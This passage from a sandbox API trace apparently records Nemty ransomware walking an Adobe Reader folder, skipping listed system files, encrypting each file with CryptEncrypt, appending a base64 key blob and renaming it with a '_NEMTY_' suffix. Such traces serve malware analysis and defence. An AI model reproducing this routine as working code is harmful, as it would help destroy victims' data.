dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0175.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.420] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1c322930, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1c322930, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0175.420] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0175.420] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1c322930, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1c322930, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.420] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0175.421] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0175.421] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95b0, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0175.421] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0175.421] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0175.421] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0175.421] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0175.421] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0175.421] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0175.421] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0175.421] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0175.421] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0175.421] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0175.421] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0175.421] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0175.421] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0175.421] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0175.421] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0175.421] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0175.421] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0175.421] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0175.421] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0175.421] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0175.421] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0175.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0175.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0175.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0175.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0175.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0175.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0175.422] Sleep (dwMilliseconds=0x5) [0175.435] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1c36ebf0, dwHighDateTime=0x1d561e8)) [0175.435] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1c36ebf0, dwHighDateTime=0x1d561e8)) [0175.435] GetLastError () returned 0xb7 [0175.435] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.435] GetLastError () returned 0xb7 [0175.435] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.435] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.436] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0175.436] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0175.436] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0175.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0175.436] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="yOwi8Higcu08PzjJI43Hk4GZgIZuGPek56MyWBCongtsVx9XH+kc/RD9JNOhOJTS\r\n14S70IK0jOLQcnXcnTTXMgyGYhGMr8XcYSvNTbBcyuk31ATNYDWXnl5L4f4Sn4Xv\r\nbyNxo4P7nXnmF4c/teWRiwtMSDvh5rd8uzaA71erlqNLR2XQFxu35vJ6IbGdXyO0\r\nuvtT7gKW/SUyUX0RK5Y6UP9HsGijI4D4yFHJCkgJxeUavpMen8i+Wb4JzGbnc63j\r\n5Dq7ge8BHt8yMfkBXA3ir6ayOsz/A9WJUQwi15AaT8P1r1kQHu7sOo1oluW+2ypL\r\nRiB5vunUCUmrwgk73iJczg==\r\n", pcchString=0x653e29c) returned 1 [0175.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.436] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0175.436] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0175.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.436] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0175.436] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=38320) returned 1 [0175.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x95b0) returned 0x6352c48 [0175.436] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.436] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x95b0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x95b0, lpOverlapped=0x0) returned 1 [0175.440] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.441] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x95b0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x95b0, lpOverlapped=0x0) returned 1 [0175.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.441] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=38320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x95b0 [0175.441] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0175.441] CloseHandle (hObject=0x2f0) returned 1 [0175.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0175.441] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.441] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0175.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0175.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0175.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.441] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0175.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0175.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0175.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0175.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.442] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0175.442] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0175.442] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0175.442] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0175.442] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0175.442] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0175.442] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0175.442] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0175.442] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0175.442] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0175.442] lstrcmpiW (lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0175.442] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0175.442] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0175.442] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0175.442] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0175.442] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0175.442] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0175.443] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0175.443] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0175.443] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0175.443] lstrcmpiW (lpString1="Services.asfx", lpString2="programdata") returned 1 [0175.443] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0175.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0175.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0175.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0175.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0175.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0175.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0175.443] Sleep (dwMilliseconds=0x5) [0175.451] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1c394d50, dwHighDateTime=0x1d561e8)) [0175.451] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1c394d50, dwHighDateTime=0x1d561e8)) [0175.451] GetLastError () returned 0x0 [0175.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.451] GetLastError () returned 0x0 [0175.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.451] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0175.451] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0175.451] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0175.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0175.451] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="Qhzpchbba0ei7iXYKil01oyGBnysBkJIeQUXM6jKlXgO4GMoinqSTZfR+Jd8BpOn\r\njsEnhmbDpjFOdEBiR8nzNeIfzLy9pAQ/ImJ+vCSZ6A9rhiHQTjrtO5kOZu0fv0E/\r\nFGLZXzk+/uIqjTlIUIWQpTagzVfV8Jq/NN4XeTkun8ZcfYaM5zcAeb7/7au+d1bl\r\nuZXqYwjRi+vUNXZggrU7dNnMKyzclL8zhFY/rjy5mDKszNC+YGxck4jYlNTqKiWZ\r\nqnMRA6lrZ8qz6sJX5XUpAU7C5lS+ZKC2jLCzW2XoFqaaxet1KaCYhVk4gNJzR/gQ\r\n5S6dNKqzHHDoZBls46glhg==\r\n", pcchString=0x653e29c) returned 1 [0175.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0175.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0175.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.452] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0175.452] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=231) returned 1 [0175.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340270 [0175.452] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.452] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0xe0, lpOverlapped=0x0) returned 1 [0175.453] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.453] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0xe0, lpOverlapped=0x0) returned 1 [0175.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0175.453] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=231, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe7 [0175.453] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0175.453] CloseHandle (hObject=0x2f0) returned 1 [0175.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0175.453] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: 